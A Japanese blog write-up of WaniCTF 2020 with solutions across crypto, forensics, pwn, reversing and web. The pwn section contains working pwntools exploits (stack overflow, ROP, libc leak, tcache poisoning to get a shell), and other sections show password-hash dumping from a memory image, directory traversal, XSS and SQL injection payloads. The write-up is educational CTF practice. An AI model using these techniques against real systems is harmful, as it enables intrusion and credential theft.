WaniCTF 2020 Writeup

2020/11/21から行われた大阪大学のWani Hackaseが主催のWaniCTF2020に参加しました. 初心者向けということもありたくさん解けて楽しかったです. 特に予定もなかったのでゲームや散歩をしたりアイマス三昧を聞きながらのんびり解いてました. 最終的には1問以外解けて11位でした.

f:id:shirataki64225:20201124175043p:plain
たくさん称号をもらえた😀
f:id:shirataki64225:20201124180006p:plain
https://wanictf.org/2020.html

運営の方のWriteupはこちら.

Crypto

Veni, vidi (Beginner)

SYNT{fvzcyr_pynffvpny_pvcure}

ROT13.
flag: FLAG{simple_classical_cipher}

exclusive (Easy)

keyとフラグをXORしています.
フラグの先頭はFLAGなのでkeyを特定できます.
あとはkeyとエンコードされたフラグをXORしてあげればいいです.

encoded_flag=""
with open('./output.txt') as f:
    encoded_flag=f.read()

key="".join([chr(ord(s)^ord(t)) for s,t in zip(encoded_flag,"FLAG")])

key=key[0:3]*19

flag="".join([chr(ord(s)^ord(t)) for s,t in zip(key,encoded_flag)])
print(flag)

flag: FLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}

Basic RSA (Normal)

RSA暗号.
Wikiを見ながら解きました.

p=3395691611470965703248776690605631448210299347525030739228383525429324385673465720215627828854181787361366362304515818652121445125278579357291889059651248
q=3110746220571338886416585682818815247453643126964736278072889659177722129615307761446287972409358505242287263598670729290153892071235119046274192564544254

print(p*q)
m=223603686361314586714175565871625848629
e=65537
n=85894259982529774534738977512733247714575520196254720913324021194094962152093953247879110941289388438916327114583817283655596379699397163641937867204006249561822624997027786327017002617537748647387480295462871562217712352315647462266777353450197526216711345361335921281252390277349962674385212195975103527777

print(pow(m,e,n))
p=6941228073710029272709931137126763438896483442698940990387243132086539886565332310623278297429296964091830499215076168232957587276633995785795367241187693
q=8314548613078997011281833094994872127908947348619085044230773215969081721637277929673458305974929666111150247442477357318728654270865385085868340198394011
e=65537
c=34155694723114745250570407342098680267767914080937033675260980008802140827057809636727955655591284380292073512092481470054846682913463633517157610001381562071683975564393928314130271495248909366020791191802272883456401224599207479144661271136616263900027260888317855839786370965495539570774984514060582796682
d=inverse(e,(p-1)*(q-1))

print(pow(c,d,p*q))

flag: FLAG{y0uv3_und3rst00d_t3xtb00k_RSA}

LCG crack (Hard)

想定解じゃないです.

    elif choice == 2:
                for cnt in range(1, 11):
                    print(f"[{cnt}/10] Guess the next number!")
                    try:
                        guess = int(input("> "))
                    except ValueError:
                        print("Please enter an integer\n\n\n")
                        continue
                    if guess == rng.next():
                        print(f"Correct! ")
                        cnt += 1
                    else:
                        print(f"Wrong... Try again!")
                        break
                else:
                    print(f"Congratz!  {flag}")
                    break

ValueErrorのときcontinueになっています.
文字を入力すると整数を入力するように促されるのですが, それを無視して10回文字を入力するとフラグが表示されます.
flag: FLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}

l0g0n (Very hard)

AES暗号のECBモードは危ないっていうのは聞いたことがある.
同じ値を入力したらフラグが表示された...
よくわかってないです.
flag: FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}

Forensics

logged_flag (Beginner)

key_log.txtに書いてあります.
flag: FLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}

ALLIGATOR_01 (Easy)

volatilityを使います.
ここここを参考にさせていただきました.

$ volatility -f ./ALLIGATOR.raw imageinfo
$ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 pslist

0x84dd6b28 evil.exe   3632   2964     1      21      2     0 2020-10-26 03:01:55 UTC+0000    

flag: FLAG{2020-10-26_03:01:55_UTC+0000}

ALLIGATOR_02 (Normal)

$ strings ./ALLIGATOR.raw | grep FLAG

または

$ volatility -f ./ALLIGATOR.raw --profile=Win7SP0x86 consoles

flag: FLAG{y0u_4re_c0n50les_master}

chunk_eater (Normal)

壊れたPNGファイルが与えられます.
ヒントにあるサイトを参考にさせていただきました.
バイナリエディタで開いて"WANI"という文字列を順番にIHDR,IDAT,IDAT,IDAT,IENDにすると開けるようになります.
flag: FLAG{chunk_is_so_yummy!}

ALLIGATOR_03 (Hard)

パスワード付きのzipファイルが与えられます. パスワードを特定すればよさそうです.
ここを参考にさせていただきました.
Linuxのvolatilityを使っていたのですがhashdumpが使えなかったのでWindowsの方を使いました.

> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hivelist
Volatility Foundation Volatility Framework 2.6
Virtual    Physical   Name
---------- ---------- ----
0x96833008 0x29f35008 \??\C:\System Volume Information\Syscache.hve
0x9a37a008 0x0edcf008 \??\C:\Users\ALLIGATOR\ntuser.dat
0x9a37c008 0x0eed1008 \??\C:\Users\ALLIGATOR\AppData\Local\Microsoft\Windows\UsrClass.dat
0x8780a6b8 0x282fb6b8 [no name]
0x8781a008 0x28349008 \REGISTRY\MACHINE\SYSTEM
0x87838218 0x28367218 \REGISTRY\MACHINE\HARDWARE
0x8b0599c8 0x248859c8 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x8cb07008 0x26f46008 \Device\HarddiskVolume1\Boot\BCD
0x8e7f7008 0x26313008 \SystemRoot\System32\Config\SOFTWARE
0x904655f8 0x225685f8 \??\C:\Users\IEUser\ntuser.dat
0x9144b5c0 0x260205c0 \SystemRoot\System32\Config\DEFAULT
0x937338d0 0x250778d0 \SystemRoot\System32\Config\SECURITY
0x93791458 0x1d940458 \SystemRoot\System32\Config\SAM
0x937b79c8 0x248899c8 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat
0x937fb758 0x248dd758 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x96449458 0x03f4f458 \??\C:\Users\sshd_server\ntuser.dat
0x9645d3d8 0x2830b3d8 \??\C:\Users\sshd_server\AppData\Local\Microsoft\Windows\UsrClass.dat

\REGISTRY\MACHINE\SYSTEM\SystemRoot\System32\Config\SAMのアドレスを指定してhashdumpします.

> .\volatility_2.6_win64_standalone.exe -f .\ALLIGATOR.raw --profile=Win7SP0x86 hashdump -y 0x8781a008 -s 0x93791458
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::

5e7a211fee4f7249f9db23e4a07d7590https://crackstation.net/ に投げました.
パスワードはilovewani.
flag: FLAG{The_Machikane_Crocodylidae}

zero_size_png (Very hard)

想定解じゃないです.
サイズが0x0のPNGファイルが与えられます.
バイナリエディタで開いて, ヒントにあるサイトを参考にサイズをいじります.
IHDRの直後の4バイトが画像の幅でその直後の4バイトが画像の高さになるようです.
頑張ってフラグが見えるサイズ(2997 x 1000)にしました.
想定解は正しい縦横比を総当たりで求めるみたいです.
flag: FLAG{Cyclic_Redundancy_CAT}

Misc

Find a Number (Beginner)

0~500000の範囲の乱数を当てます.
電卓を使いながら手動で二分探索しました.
flag: FLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}

MQTT Challenge (Normal)

サブスクライブすると約1分ごとにそのトピックのメッセージが流れてきます. フラグを配信しているトピックを見つければよさそうです.
ここによるとマルチレベルワイルドカードというものがあるそうです. #を入力して待つとフラグが表示されます.
flag: FLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}

PWN

netcat (Beginner)

nc netcat.wanictf.org 9001するとシェルが起動しています.
flag: FLAG{netcat-1s-sw1ss-4rmy-kn1fe}

var rewrite (Beginner)

ローカル変数を書き換える.
入力はrbp-0x16からで比較対象の変数はrbp-0xcからなので0xa(=0x16-0xc)文字後に"WANI"を置くとよさそうです.

$ nc var.wanictf.org 9002
What's your name?: AAAAAAAAAAWANI
hello AAAAAAAAAAWANI!
Congratulation!
cat flag.txt
FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}

flag: FLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}

binsh address (Easy)

binshのアドレスを入力すればいいです. 表示されるアドレスはvalのアドレスのようです.
binshのoffsetを調べます.

gdb-peda$ start
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 2 results, display max 2 items:
pwn03 : 0x555555756020 --> 0x68732f6e69622f ('/bin/sh')
 libc : 0x7ffff7f7c143 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ c
Continuing.
The address of "input  " is 0x555555756010.
Please input "/bin/sh" address as a hex number:

表示されるアドレスに0x10(=0x555555756020-0x555555756010)を足せばよさそうです.

$ nc var.wanictf.org 9003
The address of "input  " is 0x55ec32711010.
Please input "/bin/sh" address as a hex number: 0x55ec32711020
Your input address is 0x55ec32711020.
Congratulation!
cat flag.txt
FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}

flag: FLAG{cAn-f1nd-str1ng-us1ng-str1ngs}

got rewrite (Easy)

GOT Overwrite.
入力の後にあるprintfのGOTをwinのアドレスに書き換えればよさそうです.
printfのGOTのアドレスを調べます.

$ readelf -a ./pwn04

再配置セクション '.rela.plt' at offset 0x590 contains 9 entries:
  オフセット      情報           型             シンボル値    シンボル名 + 加数
000000601018  000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000601020  000200000007 R_X86_64_JUMP_SLO 0000000000000000 __stack_chk_fail@GLIBC_2.4 + 0
000000601028  000300000007 R_X86_64_JUMP_SLO 0000000000000000 setbuf@GLIBC_2.2.5 + 0
000000601030  000400000007 R_X86_64_JUMP_SLO 0000000000000000 system@GLIBC_2.2.5 + 0
000000601038  000500000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000601040  000600000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000601048  000700000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000601050  000a00000007 R_X86_64_JUMP_SLO 0000000000000000 strtol@GLIBC_2.2.5 + 0
000000601058  000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0
$ nc var.wanictf.org 9004
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600e10-0x6010b0): 0x000000601038
Your input address is 0x601038.
Please input rewrite value: 0x400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
cat flag.txt
FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}

flag: FLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}

ret rewrite (Normal)

vuln内のreadBOFが起きます. リターンアドレスをwinのアドレスに書き換えればよさそうです.
入力はrbp-0xeからなのでoffsetは0x16(=0xe+0x8).
問題文にあるようにwinを実行してもスタックのアライメントの問題でsystemで落ちます. なので, winの最初のpush rbpをとばします.

$ (python -c "print('A'*22+'\x38\x08\x40\x00\x00\x00\x00\x00')";cat)| nc ret.wanictf.org 9005
What's your name?: Hello AAAAAAAAAA!

***start stack dump***
0x7ffd1ffd5fd0: 0x41414141414160d0 <- rsp
0x7ffd1ffd5fd8: 0x0000001f41414141
0x7ffd1ffd5fe0: 0x4141414141414141 <- rbp
0x7ffd1ffd5fe8: 0x0000000000400838 <- return address
0x7ffd1ffd5ff0: 0x0000000000400a00
0x7ffd1ffd5ff8: 0x00007f706b311bf7
0x7ffd1ffd6000: 0x0000000000000001
***end stack dump***

congratulation!
cat flag.txt
FLAG{1earning-how-return-address-w0rks-on-st4ck}

flag: FLAG{1earning-how-return-address-w0rks-on-st4ck}

rop func call (Normal)

ret_rewriteと同様にvuln内のreadBOFが起きます. 第1引数にbinshのアドレスを指定してsystemを呼び出します. ret_rewriteと同様にスタックのアライメントの問題で落ちるのでretをはさみます.
pop rdiretのアドレスはROPgadgetで調べました. ret(pop rdiのアドレス)+1で代用できるので調べなくてもいいです.

$ ROPgadget --binary ./pwn06
from pwn import *

# p=process('./pwn06')
p=remote('rop.wanictf.org',9006)
e=ELF('./pwn06')

pop_rdi=0x0000000000400a53
ret=0x000000000040065e

payload=b'A'*22
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(e.symbols['binsh'])
payload+=p64(e.plt['system'])

p.recv()
p.sendline(payload)
p.interactive()

flag: FLAG{learning-rop-and-x64-system-call}

one gadget rce (Hard)

想定解じゃないです.
vuln内のreadBOFが起きます. やることは以下の通りです.

  • リターンアドレスを書き換えてputsを呼び出しputsのGOTをリークしてlibcのアドレスを求める.
  • vulnに戻る.
  • リターンアドレスを書き換えてsystem("/bin/sh")を実行.
from pwn import *

# p=process('./pwn07')
p=remote('rce.wanictf.org',9007)
e=ELF('./pwn07')
libc=ELF('libc-2.27.so')

pop_rdi=0x0000000000400a13
ret=0x0000000000400626

payload=b'A'*22
payload+=p64(pop_rdi)
payload+=p64(e.got['puts'])
payload+=p64(e.plt['puts'])
payload+=p64(e.symbols['vuln'])

p.recv()
p.sendline(payload)
p.recvuntil('***end stack dump***\n\n')

libc.address=u64(p.recv(6).ljust(8,b'\x00'))-libc.symbols['puts']
print(hex(libc.address))

payload=b'A'*22
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(next(libc.search(b'/bin/sh')))
payload+=p64(libc.symbols['system'])

p.recv()
p.sendline(payload)
p.interactive()

flag: FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}

heap (Very hard)

解けなかった😭
ヒープオーバーフローからのtcache poisoningだろうと思ったけどtcacheがうまく繋がらなかった.
運営の方のWriteupを参考にさせていただきました.
サイズが0x20のchunkでlibcのアドレスをリークして, サイズが0x30のchunkで__free_hookを書き換えました.

from pwn import *

context.log_level='info'

def add(i,size):
    log.info('add '+str(i))
    p.recvuntil('command?: ')
    p.sendline('1')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))
    p.recvuntil('size?: ')
    p.sendline(str(size))

def edit(i,memo):
    log.info('edit '+str(i))
    p.recvuntil('command?: ')
    p.sendline('2')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))
    p.recvuntil('memo?: ')
    p.sendline(memo)

def view(i):
    log.info('view '+str(i))
    p.recvuntil('command?: ')
    p.sendline('3')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))
    return u64(p.recv(6).ljust(8,b'\x00'))

def del_memo(i):
    log.info('del '+str(i))
    p.recvuntil('command?: ')
    p.sendline('9')
    p.recvuntil('index?[0-9]: ')
    p.sendline(str(i))

# p=process('./pwn08')
p=remote('heap.wanictf.org',9008)
e=ELF('./pwn08')
libc=ELF('./libc-2.27.so')

payload=b'A'*16
payload+=p64(0)
payload+=p64(0x31)
payload+=p64(e.got['printf'])

add(0,10)
add(1,10)
del_memo(1)
edit(0,payload)
add(2,10)
add(3,10)
libc.address=view(3)-libc.symbols['printf']
print(hex(libc.address))

payload=b'A'*32
payload+=p64(0)
payload+=p64(0x31)
payload+=p64(libc.symbols['__free_hook'])

add(4,40)
add(5,40)
del_memo(5)
edit(4,payload)
add(6,40)
add(7,40)
edit(7,p64(libc.symbols['system']))

add(8,40)
edit(8,b'/bin/sh')
del_memo(8)
p.interactive()

flag: FLAG{I-am-a-heap-beginner}

Reversing

strings (Beginner)

$ strings ./strings | grep FLAG

flag: FLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}

simple (Normal)

angrに投げた.

import angr 

project = angr.Project('./simple')
entry = project.factory.entry_state()
simgr = project.factory.simgr(entry)
simgr.explore()

states = simgr.deadended
for state in states:
    flag = b"".join(state.posix.stdin.concretize())
    print(flag)

flag: FLAG{5imp1e_Revers1ng_4rray_5trings}

complex (Hard)

angrでも解けるみたいだけどできなかった. Ghidra, GDBで解析しました.
Ghidraのデコンパイルはちょっと分かりにくかったので自分なりにコードを書きました. 疑似コードやメモみたいなのはコメントアウトしています.

#include<stdio.h>

int check_0(char *s){
    char *x,*y;
    for(int i=0;i<36;i++){
        if(x[i]^s[i]!=y[i]) return 0;
    }
    return 1;
}

int check_13(char *s){
    char *x,*y;
    for(int i=0;i<36;i++){
        if(x[i]^s[i]!=y[i]) return 1;
    }
    return 2;
}

int check(int i,char *s){
    switch (i)
    {
        // return check_i(s);
    }
}

int main(){
    char* s;
    scanf("%s",s);
    // len(s)==42
    // s-="FLAG{}";
    int i=0;
    for(i=0;i<20;i++){
        int k=check(i,s);
        if(k==0) continue;
        if(k==1) break;
        if(k==2) printf("Correct!\n"); 
    }
    printf("Incorrect!\n");
}

まず, フラグは42文字でフラグから"FLAG{}"を取り除いた36文字とループ変数が20回checkに渡されます. checkの戻り値が2だと正解で1だと終了します. checkはループごとに別の関数を呼び出します. check_13だけ2を返す処理があります. ローカル変数が2つあり, 片方とXORをとったときもう片方と一致していれば2を返します. よって, check_13の2つのローカル変数をXORすればフラグが求まります. リトルエンディアンに注意.

x=['0x3131393431333637','0x3435313837393235','0x3635313836343636','0x3834303131353334','0x34323435','0x37']
y=['0x6e44564d6e575f53','0x576a48545b585747','0x535d45675d57535e','0x675a42444550416b','0x415e5543','0x52']

flag="FLAG{"
for i1,i2 in zip(x,y):
    s=reversed(bytes.fromhex(i1[2:]).decode())
    t=reversed(bytes.fromhex(i2[2:]).decode())
    for c1,c2 in zip(s,t):
        flag+=chr(ord(c1)^ord(c2))
flag+="}"
print(flag)

flag: FLAG{did_you_really_check_the_return_value}

static (Very hard)

$ strings ./static

するとUPXという文字が見えました. なので, アンパックします.

$ upx -d ./static

Ghidraで解析しました.
complexと同様にフラグの中身が取り出され, 何かとXORをとりそれがローカル変数と等しいと正解みたいです. この何かは関数によって求められていたのですが, 処理が複雑でよくわかりませんでした. この関数には引数がなかったので一定の値が返ってくるのではないかと思い, GDBでメモリを読みました.
strippedなバイナリの解析はあまりやったことがなかったので, こちらを参考にさせていただきました.

gdb-peda$ info file
gdb-peda$ b *0x400a80
gdb-peda$ r
gdb-peda$ x/400i $rip
gdb-peda$ b *0x400e95
gdb-peda$ x/50wx $rbp-0xd0
0x7fffffffe910: 0x63c1d9b9      0x383f1bd1      0x4107dda4      0x34841fea
0x7fffffffe920: 0x3ebdf50c      0x315655eb      0x4def053a      0x1bfdeb26
0x7fffffffe930: 0x24118fca      0x2722989c      0x7abcb583      0x09466305
0x7fffffffe940: 0x7799b061      0x172289c3      0x401a25fc      0x39ce6189
0x7fffffffe950: 0x56ec69c1      0x106f1fd2      0x77fc40b6      0x4828aec2
0x7fffffffe960: 0x2252ba83      0x45935da2      0x7565bdfe      0x5ae2409f
0x7fffffffe970: 0x20edd672      0x47362435      0x0b61fcb5      0x7c7607de
0x7fffffffe980: 0x6cf7730d      0x5222628a      0x5ee131a8      0x50b94cc6
0x7fffffffe990: 0x0a617e5b      0x1fe90f4c      0x053d6cb0      0x491f7368
0x7fffffffe9a0: 0x513f6537      0x532c71ea      0x651d5e8e      0x7550f502
0x7fffffffe9b0: 0x7a4f0a87      0x5fda1411      0x7e975807      0x71e8bae8
0x7fffffffe9c0: 0x76fc9dd4      0x3eb17e04      0x2bb71c71      0x4de90796
0x7fffffffe9d0: 0x00000000      0x00000000

やはり一定の値が返ってきてました! よって, このメモリの値とローカル変数の値をXORすればフラグが求まります.

x=[0x63c1d9b9,0x383f1bd1,0x4107dda4,0x34841fea,0x3ebdf50c,0x315655eb,0x4def053a,0x1bfdeb26,0x24118fca,0x2722989c,0x7abcb583,0x09466305,0x7799b061,0x172289c3,0x401a25fc,0x39ce6189,0x56ec69c1,0x106f1fd2,0x77fc40b6,0x4828aec2,0x2252ba83,0x45935da2,0x7565bdfe,0x5ae2409f,0x20edd672,0x47362435,0x0b61fcb5,0x7c7607de,0x6cf7730d,0x5222628a,0x5ee131a8,0x50b94cc6,0x0a617e5b,0x1fe90f4c,0x053d6cb0,0x491f7368,0x513f6537,0x532c71ea,0x651d5e8e,0x7550f502,0x7a4f0a87,0x5fda1411,0x7e975807,0x71e8bae8,0x76fc9dd4,0x3eb17e04,0x2bb71c71,0x4de90796]
y=[0x63c1d9cb,0x383f1bb2,0x4107dd90,0x34841fb5,0x3ebdf538,0x31565585,0x4def055e,0x1bfdeb79,0x24118ff9,0x272298e8,0x7abcb5e2,0x9466371,0x7799b008,0x172289a0,0x401a25a3,0x39ce61b8,0x56ec69a8,0x106f1fbc,0x77fc40dd,0x4828ae9d,0x2252bab7,0x45935dcc,0x7565bd9a,0x5ae240c0,0x20edd601,0x47362402,0xb61fcc7,0x7c7607b7,0x6cf7737d,0x522262fa,0x5ee1319b,0x50b94ca2,0xa617e04,0x1fe90f3c,0x53d6c81,0x491f731d,0x513f6544,0x532c71b5,0x651d5efb,0x7550f572,0x7a4f0aff,0x5fda144e,0x7e975877,0x71e8ba89,0x76fc9db7,0x3eb17e6f,0x2bb71c42,0x4de907f2]

flag="FLAG{"
flag+="".join([chr(i^j) for i,j in zip(x,y)])
flag+="}"
print(flag)

flag: FLAG{rc4_4nd_3tatic_1ink_4nd_s7ripp3d_p1us_upx_pack3d}

Web

DevTools_1 (Beginner)

ソースコードを見るとフラグがコメントアウトされてました.
flag: FLAG{you_can_read_html_using_devtools}

DevTools_2 (Beginner)

0円のところを5000000000000000円に書き換えるとフラグが表示されました.
flag: FLAG{you_can_edit_html_using_devtools}

Simple Memo (Beginner)

ディレクトリトラバーサル.
flag.txtmemosディレクトリと同じ位置にあるみたいなので../flag.txtと入力すればよさそうですが../が削除されてしまいます.
....//flag.txtと入力すると../flag.txtとなりフラグが表示されます.
flag: FLAG{y0u_c4n_get_hi5_5ecret_fi1e}

strped table (Easy)

メモが作成できるサイト.
XSS.
ソースコードを見るとindexが奇数のときmemoがチェックされてないことがわかります. 2つ目のメモに<script>alert(19640503)</script>を入力するとフラグが表示されます.
flag: FLAG{simple_cross_site_scripting}

SQL Challenge 1 (Normal)

想定解じゃないです.
SQL Injection.
ソースコードを見ると', ,/,\,|が使えないことがわかります.

$query = "SELECT * FROM anime WHERE years =$year";

このSQL文のWHERE句をTrueにすればよいので, yearsを入力しました.

想定解は(1)or(1)=(1)みたいです. 空白を使わずにWHERE句をTrueにできます.
flag: FLAG{53cur3_5ql_a283b4dffe}

SQL Challenge 2 (Hard)

想定解じゃないです.
SQL Injection.
文字列と数字以外を入力すると前に\が挿入されます.
SQL Challenge 1と同様にyearsを入力するとフラグが表示されました.

想定解は0みたいです. yearsは文字列なのですが

MySQLでは比較演算を行う際、比較対象の一方が数値ならもう片方も数値として扱うという暗黙的な型変換が行われるようです。

なので数値を入力するとyearsは数値になります. また,

しかしyearsカラムに数字以外の文字列が入っていた場合、その文字列はすべて0という値に変換されます。

なので0を入力すると数字以外の文字列で記録されたデータが表示されます.
参考

flag: FLAG{5ql_ch4r_cf_ca87b27723}